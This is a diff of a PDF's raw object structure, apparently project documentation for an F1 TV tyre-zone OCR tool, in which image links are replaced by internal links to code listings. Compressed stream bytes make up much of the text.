<< /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/MediumTyreColor.png) ->> +/Dest (Code/F1TVEmulator/:f1tvemulatorcs) >> endobj 375 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 552.806022 297.637795 540.402822 ] +/Rect [ 538.710911 620.813622 555.889134 606.413622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/MediumTyreColor.png) ->> +/Dest (Code/F1TVEmulator/:f1tvemulatorcs) >> endobj 376 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 484.588422 37.466457 472.185222 ] +/Rect [ 55.386457 605.663622 555.889134 584.993622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/HardTyreColor.png) ->> +/Dest (Code/Form1/:form1cs) >> endobj 377 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 484.588422 187.466457 409.588422 ] +/Rect [ 55.386457 600.143622 77.060285 585.743622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/HardTyreColor.png) ->> +/Dest (Code/Form1/:form1cs) >> endobj 378 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 409.588422 297.637795 397.185222 ] +/Rect [ 538.710911 600.143622 555.889134 585.743622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/HardTyreColor.png) ->> +/Dest (Code/Form1/:form1cs) >> endobj 379 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 341.370822 37.466457 328.967622 ] +/Rect [ 55.386457 584.993622 555.889134 564.323622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/IntermediateTyreColor.png) ->> +/Dest (Code/Program/:programcs) >> endobj 380 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 341.370822 187.466457 266.370822 ] +/Rect [ 55.386457 579.473622 77.060285 565.073622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/IntermediateTyreColor.png) ->> +/Dest (Code/Program/:programcs) >> endobj 381 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 266.370822 297.637795 253.967622 ] +/Rect [ 538.710911 579.473622 555.889134 565.073622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/IntermediateTyreColor.png) ->> +/Dest (Code/Program/:programcs) >> endobj 382 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 198.153222 37.466457 185.750022 ] +/Rect [ 55.386457 564.323622 555.889134 543.653622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/WetTyreColor.png) ->> +/Dest (Code/Settings.Designer/:settingsdesignercs) >> endobj 383 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 198.153222 187.466457 123.153222 ] +/Rect [ 55.386457 558.803622 77.060285 544.403622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/WetTyreColor.png) ->> +/Dest (Code/Settings.Designer/:settingsdesignercs) >> endobj 384 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 123.153222 297.637795 110.750022 ] +/Rect [ 538.710911 558.803622 555.889134 544.403622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/WetTyreColor.png) ->> +/Dest (Code/Settings.Designer/:settingsdesignercs) >> endobj 385 0 obj << -/Filter /FlateDecode -/Length 2254 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 543.653622 555.889134 522.983622 ] +/BS << +/W 0 +>> +/Dest (Code/SqliteStorage/:sqlitestoragecs) >> -stream -xZͮ )+J~]L)ZI3},ڔ,9 $C?Raހ>8k/)-E;*g`|x hnv_-λ @)˗~'Z*Cn#E"6+Bk0ϗ/_xѦ/*?h_nw>r?EE^K>e ;}vI~n}]־}moT޲ai-f_opߐ|v3bl~Ku_6k+zN}*wߣMWK*ڂRnRZ"L!5ػJ6Ll'eÂ=u8CP|?(u0JzRkއFh |+[Gb]۵y}_cjlXN^An!=gS[җʹy=/xңOq+gQKjWҦ5OkҊdZiyǛiq%P5@xO9)C')zy|Ur!Yvo.8Qd !ʖW Y{kw -n0Y>0ImL;6n>pUGIPFގI\r/ 4RxQBo(Y#ze*30zeKM\qp^6? iky{o)5cAhK5Ega|31vW'^p7asg\Pȳߌ)2i{"rۗobHT/]soS;0: taA]/}T{Gԛo;U ~uBlPiq tՔ`]LNRG£b7BG1F#¨AMóM/z|\S0\ĥGNjּ|ڤ`~rjߞ6]Y;ԈGgS7 -rm%iqރθ|5J^Գe#5SM=HF;*8Qɩk:#Pn ԟÜEFx\",7Z >톬ón vGezkyY'N*xDϩhm -#/`xJCOUBc3h%\el#4Ea4h"I΁-!Ǜj,K㋃Fzpr'F',%m֡kvxmtrZ=]Бt{lY$!1pEK>x4ЦfB@'Ό%/;"g;#jȋ>e,T;yh04YlH^Bm# U'cETk'"lg7^FD]&g]9IvDb~%pŸIciaB)8!`6m`.Dj}Fc%'.^ &"2Zy7V5YM/ &ӥ@T"lA٘sX|z$3 -ΓP<5:Zj|`o8볶 -endstream endobj 386 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 385 0 R -/Resources 4 0 R -/Annots [ 387 0 R 388 0 R 389 0 R 390 0 R 391 0 R 392 0 R 393 0 R 394 0 R 395 0 R 396 0 R 397 0 R 398 0 R 399 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 538.133622 82.786359 523.733622 ] +/BS << +/W 0 +>> +/Dest (Code/SqliteStorage/:sqlitestoragecs) >> endobj 387 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 750.868422 37.466457 738.465222 ] +/Rect [ 538.710911 538.133622 555.889134 523.733622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneHard.png) ->> +/Dest (Code/SqliteStorage/:sqlitestoragecs) >> endobj 388 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 750.868422 57.716457 733.618422 ] +/Rect [ 55.386457 522.983622 555.889134 502.313622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneHard.png) ->> +/Dest (Code/Zone/:zonecs) >> endobj 389 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 733.618422 297.637795 721.215222 ] +/Rect [ 55.386457 517.463622 82.786359 503.063622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneHard.png) ->> +/Dest (Code/Zone/:zonecs) >> endobj 390 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 665.400822 37.466457 652.997622 ] +/Rect [ 538.710911 517.463622 555.889134 503.063622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneHardAVG.png) ->> +/Dest (Code/Zone/:zonecs) >> endobj 391 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 665.400822 187.466457 590.400822 ] +/Rect [ 55.386457 502.313622 555.889134 481.643622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneHardAVG.png) ->> +/Dest (Code/DataWrapper/:datawrappercs) >> endobj 392 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 590.400822 297.637795 577.997622 ] +/Rect [ 55.386457 496.793622 82.786359 482.393622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneHardAVG.png) ->> +/Dest (Code/DataWrapper/:datawrappercs) >> endobj 393 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 302.026422 37.466457 289.623222 ] +/Rect [ 538.710911 496.793622 555.889134 482.393622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneCropedWithoutBackGround.png) ->> +/Dest (Code/DataWrapper/:datawrappercs) >> endobj 394 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 302.026422 57.716457 284.776422 ] +/Rect [ 55.386457 481.643622 555.889134 460.973622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneCropedWithoutBackGround.png) ->> +/Dest (Code/DriverDrsWindow/:driverdrswindowcs) >> endobj 395 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 284.776422 297.637795 272.373222 ] +/Rect [ 55.386457 476.123622 82.786359 461.723622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneCropedWithoutBackGround.png) ->> +/Dest (Code/DriverDrsWindow/:driverdrswindowcs) >> endobj 396 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 216.558822 37.466457 204.155622 ] +/Rect [ 538.710911 476.123622 555.889134 461.723622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneFilter1.png) ->> +/Dest (Code/DriverDrsWindow/:driverdrswindowcs) >> endobj 397 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 216.558822 57.716457 199.308822 ] +/Rect [ 55.386457 460.973622 555.889134 440.303622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneFilter1.png) ->> +/Dest (Code/DriverLapTimeWindow/:driverlaptimewindowcs) >> endobj 398 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 199.308822 297.637795 186.905622 ] +/Rect [ 55.386457 455.453622 82.786359 441.053622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneFilter1.png) ->> +/Dest (Code/DriverLapTimeWindow/:driverlaptimewindowcs) >> endobj 399 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 78.377622 37.466457 65.974422 ] +/Rect [ 538.710911 455.453622 555.889134 441.053622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneFilter2.png) ->> +/Dest (Code/DriverLapTimeWindow/:driverlaptimewindowcs) >> endobj 400 0 obj << -/Filter /FlateDecode -/Length 1830 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 440.303622 555.889134 419.633622 ] +/BS << +/W 0 +>> +/Dest (Code/DriverPositionWindow/:driverpositionwindowcs) >> -stream -xZێ#5}WחMEB Z4⡻3Yh(mw$(撶uSU_s[39C?2뵴f9`cBpRLR_^9Wrnia˧Q0>|pFA y ^2_YahD+:`ep8 ԖOOg~2b^ɜ`ߨ⛨;gh*sRaNsa10<_~>xO:9< KXɌRAJ$wvY"s +q. iV4e Sof%^A,pMe|J#H,Hؑ"rX5X QrY1hWË&꒾8&ؠ42Xɟ%$_DK^8i]t=}:Gk5ŋ>W!$e௏!rAhrIdi<;rI/AęD84#Q RѭQy!4S6v7AAȵiS,Րܬ @JsA|]2+sx#;I#($efNqJk2'"8my0=jQi&2EL1F.Ƚמ!єb5LixA!ӸtqYW{:xHf ׉P;dA:wxP4$Q8:xnMSA0'Mr%6i?q|&;x܊*;Yu E-a%M֣ƘUN0/6Nîݝ5M)-226#$sU TDmH1J0oJ+`ZqyCiO6LJ#!<0מX岝T1mz>fWy23k=tbK b6 QGl cw}c"x)$zLV$`SN6vXʇ:YC['k7EdP2~1i[d\2ZIͣ3R+-JJlx-XV97ЂPn5^hqB+8xBם-Ź>3]gÐ7$ \ Uaar+_ TVyhMkUWB]W롪1 2TTԃݑ.1wo=A8Uo)TosCֿG;<n8ѭÒ9 0IavKh=h;Tn[Nb)zS^"$͔IQtIl[mTsɜH&tOQL|[*ȫ/HU6)X$%?zDI8mw1T$/F.MiQhl !R8)f |&E3\g??Mm -B.y׮v{|ܓhg -{bNq$"oJ߯[aOɝ(%d~/NLJ<5XN6is  4q`jǴxӰKR$\I̓V|*~yƚ ugRKQ&k|-fg?k0d -endstream endobj 401 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 400 0 R -/Resources 4 0 R -/Annots [ 402 0 R 403 0 R 404 0 R 405 0 R 406 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 434.783622 82.786359 420.383622 ] +/BS << +/W 0 +>> +/Dest (Code/DriverPositionWindow/:driverpositionwindowcs) >> endobj 402 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 118.466457 702.023622 ] +/Rect [ 538.710911 434.783622 555.889134 420.383622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneFilter2.png) ->> +/Dest (Code/DriverPositionWindow/:driverpositionwindowcs) >> endobj 403 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 702.023622 297.637795 689.620422 ] +/Rect [ 55.386457 419.633622 555.889134 398.963622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneFilter2.png) ->> +/Dest (Code/DriverTyresWindow/:drivertyreswindowcs) >> endobj 404 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 633.806022 37.466457 621.402822 ] +/Rect [ 55.386457 414.113622 82.786359 399.713622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneAfter.png) ->> +/Dest (Code/DriverTyresWindow/:drivertyreswindowcs) >> endobj 405 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 633.806022 118.466457 564.806022 ] +/Rect [ 538.710911 414.113622 555.889134 399.713622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneAfter.png) ->> +/Dest (Code/DriverTyresWindow/:drivertyreswindowcs) >> endobj 406 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 564.806022 297.637795 552.402822 ] +/Rect [ 55.386457 398.963622 555.889134 378.293622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneAfter.png) ->> +/Dest (Code/OcrImage/:ocrimagecs) >> endobj 407 0 obj << -/Filter /FlateDecode -/Length 1788 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 393.443622 82.786359 379.043622 ] +/BS << +/W 0 +>> +/Dest (Code/OcrImage/:ocrimagecs) >> -stream -xZɎ7+Ls_cF  ȡ՚6rH;flRȶdZj.UYLoZ0zZ>}>q GQ}H?I9悑NA3ar3!TRh~;s]Pq7q˧Y0>}FVSLk Hԛ!7}Kp ~ˋFۋaU?/z^ÿ $ g +H9c`7\=I6H'gןL)xYB[@&ߤbJK-FÁIogεOQpn9\8c}JX#'4;Zv*^ %YXm!#njw *mL:%y͞`|ۼβIq3/BPq&ײ\(3˃PLIvXokq}Lc쮧t??ɜ<>}Ϝ1D}y< 6YHܱq88@؍^(33>4z;*LhzX(dܺ͏_U5:ϼ:xA"jTzrM*ƒ~8i>'IPƚq.h[hc -]jBKZt3+@2Xݵm¶ ;Wk48iqF3CI}7 -)ҥr:!K3ITʹ]UaVhLUɺG -D4PWj5if(7xpY̯BF4nrJz(+% ǟKoר>L;}SU| |GU#t ~?uj u!m?\П)H9' L;F!@q)9gJi{ E9R-yQm9`ugX ->(V -GP;5 ĶCi0?tի -endstream endobj 408 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 407 0 R -/Resources 4 0 R -/Annots [ 409 0 R 410 0 R 411 0 R 412 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 538.710911 393.443622 555.889134 379.043622 ] +/BS << +/W 0 +>> +/Dest (Code/OcrImage/:ocrimagecs) >> endobj 409 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 336.172603 37.466457 323.769403 ] +/Rect [ 55.386457 378.293622 555.889134 357.623622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/InterpolationExemple.png) ->> +/Dest (Code/Reader/:readercs) >> endobj 410 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 336.172603 410.216457 198.172603 ] +/Rect [ 55.386457 372.773622 82.786359 358.373622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/InterpolationExemple.png) ->> +/Dest (Code/Reader/:readercs) >> endobj 411 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 198.172603 297.637795 185.769403 ] +/Rect [ 538.710911 372.773622 555.889134 358.373622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/InterpolationExemple.png) ->> +/Dest (Code/Reader/:readercs) >> endobj 412 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 117.551803 37.466457 105.148603 ] +/Rect [ 55.386457 357.623622 555.889134 336.953622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/BicubicExample.png) ->> +/Dest (Code/Settings/:settingscs) >> endobj 413 0 obj << -/Filter /FlateDecode -/Length 802 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 352.103622 82.786359 337.703622 ] +/BS << +/W 0 +>> +/Dest (Code/Settings/:settingscs) >> -stream -xV͎0 );DJ@Bf:@&mѪ3M 'z1& ތ߆0Q4.E|@b%`>FF!eOb!K"+ :gS5~xyD 0i9zdo3>K-(h3,tօTȍ;Mλ;&r$G=Uj62N)@ƀ9h޿tc,QȤNohnVN&VyvQ`. Dz&5{ЭG'pT;*Gd+cc9Ϻj|_e,o `y-%&ϸ&$8;вn| >\ui}]/TKvL1g;Fό- *:~J%xcy~pu%X@+ w];~U٭S]ֶ<}s!Hdt5t˴6&2FdL@INR ))$&CֹAC :[~Ē&4 gׇN9-2z}9p@Ha> +/Dest (Code/Settings/:settingscs) >> endobj 415 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 424.128504 ] +/Rect [ 55.386457 336.953622 555.889134 316.283622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/BicubicExample.png) ->> +/Dest (Code/Window/:windowcs) >> endobj 416 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 424.128504 297.637795 411.725304 ] +/Rect [ 55.386457 331.433622 82.786359 317.033622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/BicubicExample.png) ->> +/Dest (Code/Window/:windowcs) >> endobj 417 0 obj << -/Filter /FlateDecode -/Length 2338 +/Type /Annot +/Subtype /Link +/Rect [ 538.710911 331.433622 555.889134 317.033622 ] +/BS << +/W 0 +>> +/Dest (Code/Window/:windowcs) >> -stream -xZK5ϯ?CZ "ޝC@ _vrݳK8dga󫯪[,<~#^ }pV/ۧ g?/1tv i bF+KλE)zK*_>}ōw!_Y\"^E"[&U-NOw?~XgJ٤C5>Y9>FϷ;OxL\ck,rnۏk}f?ƷFe}5B[[S^L6Вq\xgQw[exmv^!+?~]ůE%pm`owe -yUЋv*Fw|v;7 -ch}ZK<X̞&&fL*4e4 7"-d9nPTt-X7#`%}mǡЄc~/0d5>5g{@樼77}FANbYnyj| u؅[kMYG6AW?´`ɑHNđ6nMGnz~vXuQ0 q*Y{h|^ YqX gS2mǠ,_ܖBSͣ)ȹ+>: -/P؁5 b,qYNpgԉ!-Ljrr$`@32h -&c&zȆ~1dMdzXk4-$lHk+6w2,r(3ƌ&Z: 96d龕w}P݈$sćY9֔+Du+GǕzn[ rD#;MR:ʂZZq2NwOyЄ? -0}0g0OM8 `sJ g2Fy k1܊B!!ښ$^=C2Cm(1!`򹓩YxKOZL] E ~o%8 a53+Q]˞c6|\Ppi@A򰑾6 t:|$U,#zHi CB[X~ٕ̼fyuk[2:#fcC[trZzG\* 6HHupHgI~r -YRNvk)[ ,=P%@ڿzUu vjf{U!$޷Á(|0+xN=BOGdJI.Iec 0;XbN;keXaO2N$\8o;sAJ-WDžl4^PvhL5e`fΨtD&#Bo1ȁe.Dle&r"~d퓊.;Ŭs%k,NE7TYyPIA u?Az -.E -9ԧ 7Lv=}<0W{ -_fЫ5k v"{p-PmR?sw T#a z.~T"!E`RPD'8D z$Z;m704Y_^Dzu(RI12Zas]Fw ?CVz0]gY# -endstream endobj 418 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 417 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 316.283622 555.889134 295.613622 ] +/BS << +/W 0 +>> +/Dest (Code/recoverCookiesCSV/:recovercookiescsvpy) >> endobj 419 0 obj << -/Filter /FlateDecode -/Length 10736 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 310.763622 82.786359 296.363622 ] +/BS << +/W 0 +>> +/Dest (Code/recoverCookiesCSV/:recovercookiescsvpy) >> -stream -x[#W^}4N(HpAb @'iKme~NtA3aHZ功7߾}?uynlmכݼ]MX.˾~8Ӭ|i<?wo|نa۷8M6N1?ߍ׻^~U-q/y?[Ѯ|8<_{ӟi3sqeޯχy=%!rLëZ?>^ǟ8˰ ?F5.6zuI?;Pvij_.ôýtǟcwF1hwmZ#2icƑ&D]u;2ѳ5_n?fnsF >ei0D4}3DݗcZh6 D4XaFkǸ0v X{ap}8;̗cqɠ|ڲњ9l /xD7LӁFtxi  y<8hӸ0#tu9<5h>"2jh4yi'ynÁFcyBXi%'yƼ,g5emƼێFcnzinm4Ϣ17mo47yyh̫gƼnDiڕiYƼmG1떕OӘuEEf_&2ƼkD4Vy\[VYƆFc޵X5]=Mc֙HgӘ476Y;Fc־hlז}ۈfѤ|Ьٹӊk@hz?G?\[ m4Nhm@.Úh̓?:himj'1:3ime>? Y[-JmE1/цs9-h4f̟ItsCZFdjkL#YAGA=q9Z˦ƼAGֲ֖Iฟ㮏4{[im:%9ḣhh:djGt2sCh4h>8 :}Pkd&>5hhz4jNh24A/#-;Y/FsC֗јg>8sõE4<Ϭ}PkLky}Gk:ј֖YhB1/zjhmS,Fcn<Ѯ-7Z[t ;]imɈh̫`hmWV23DFct@sCƼ47NҥYग C>2kաY@G֖Ytl3] Jkx%Yޫ]#>F׈f탳>`4?gڢ}pYFY!s>Ѭ}PÅdMfpm>8MH׈f탳&]k}Gk,qm>YѬ}Pﱍ;pm>8/:@1/:}p^hnh<5"}d9̍E?+]#ҧNkDA-y@F༶=/hmY 3]#Z꽱ڲh{kD\2:2:hEF0탚3-AF׈탚;-Л|h">8zinhtќ}PsڲhԜѢ}PGZ[G4x~<A׉-5_]ևy)`55e=sth>KGkAM…S̾g_-Th\I>x^µE;kD/؛e?5\[jmth>4m4.Mh4U4./5FFԴs>9҆ :E1kzl5vtH/#-m<ߤFcui8hmiˢti\499̟}PLkK>~kDM^?7:imi۠(48ntiN>ŴCh4C1zZ[VzVFjstڲNwڡdtg>:jѪ}P)d֖֕u>th>NDk˪}p+d4IA=-=yA1:}PEh\g>pkDA{kDA{e>q7FjԸwj\<ڢ}pՎK׈t*mh\q5U45Upm>1th>:j̛hnh\U5UA]#Zmh\:5"-2LןW~h|5UkE;̺5MkkDA}hmGJetG2:oMckDA fϛAwE'52B׈6Jk6mt5M5wFn9 ۬s27g.s0Bj}f|ڎ}e@mSQ}~6^o|ϋP$Ϋcw?Kw1v=_عG(8BJ&P2qIE(8BJ&P2qIE(8BJ&P2qIE(8BJ&P"%G(8BJ&P""0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8BP8B#0P#0P8B%P8B#0P#0P8B%P8B#0P#0P8B%P8B#0P#0P8B%P8B#0P#0P8B%.B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#hn -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`DE(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qMq -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ4] -G(`qME(`q -G(T -G(`qME(`q -G(TJ4mqW_#OگWdx4Cq~~^ρF;.˰%W4Ucw11ǟc|aJ$DRJ$DRJ"]IE(TIE(THDRJ$DRJ$$E(TIE(THDRJ$DRJ$$G(TME(TME(tJ6dSJ6dSJ4]ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ4]ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ2}ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ4]ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ4]ME(TME(TMdSJ6dSJ6$G(TME(TME(tJ6dSJ6dSJ4]ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ4]ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ2mG(TME(TME(tJ6dSJ6dSJ4]ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ4]ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ2}ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ4]ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ4]ME(TME(TMdSJ6dSJ6$G(TME(TME(tJ6dSJ6dSJ4]ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ4]ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ2}ME(TME(TMdSJ6dSJ6DE(TME(TME(tJ6dSJ6dSJ4]ME(ɼΏWD(m,:P;@ς|J?3BKҫX{??ƺ=BJ&P2q#H*BJ&P2q#H*BJ&P2q#H*BJ&P2qIE(8BJ&P2qIq -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ4] -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(t -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`DE(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qMq -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ4] -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(t -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(ѼBiU"Uw[Fw?Kwjͽ,G(|WNzcw?Kw1v=_عG(8BJ&P2qIE(8BJ&P2qIE(8BJ&P2qIE(8BJ&P"%G(8BJ&=BP8B#0=Bɦ"0P8B~P#0P8B#l*B#0P%P8B#0=Bɦ"0P8B~P#0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8BP8B#0P#0P8B%P8B#0P#0P8B%P8B#0P#0P8B%P8B#0P#0P8B%P8B#0P#0P8B%.B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#h#0P8B%P8B#0P#0P8B%P8B#0P#0P8B%P8B#0P#0P8B%P8B#0P#0P8B%P8B#0P"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B#0P8BP8B#0P#0P8B%P8B#0P#0P8B%P8B#0P#0P8B%P8B#0P#0P8B%P8B#0P#0P8B%.B#0P8Bɦ"0P8B#l*B#0P8Bɦ"0P8B#l*B%W>|~EecQ #>p/!%zI6??LJS~cn{sP2q#Ld%P2q#Ld%P2q#Ld%P2q#LDRJ&P2q#LDE(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qMq -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ4] -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(t -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`DE(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qME(`q -G(T -G(`qMq -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ6q -G(`dS -G(`qJ4] -G(`qME(`q -G(T -G(`qME(`q -G(TJ42Wn{;<\Z۳_ߟ˯gݟ__;=bf7nv2[la7U1Ý~Mݴ)޲[#ۖ̚x87 .23'NL={7xJ{x-8ovW{'f;wSlwK~4:<[Ny}[ sß9~~|j y9 L7L_l^ -îz.:>O 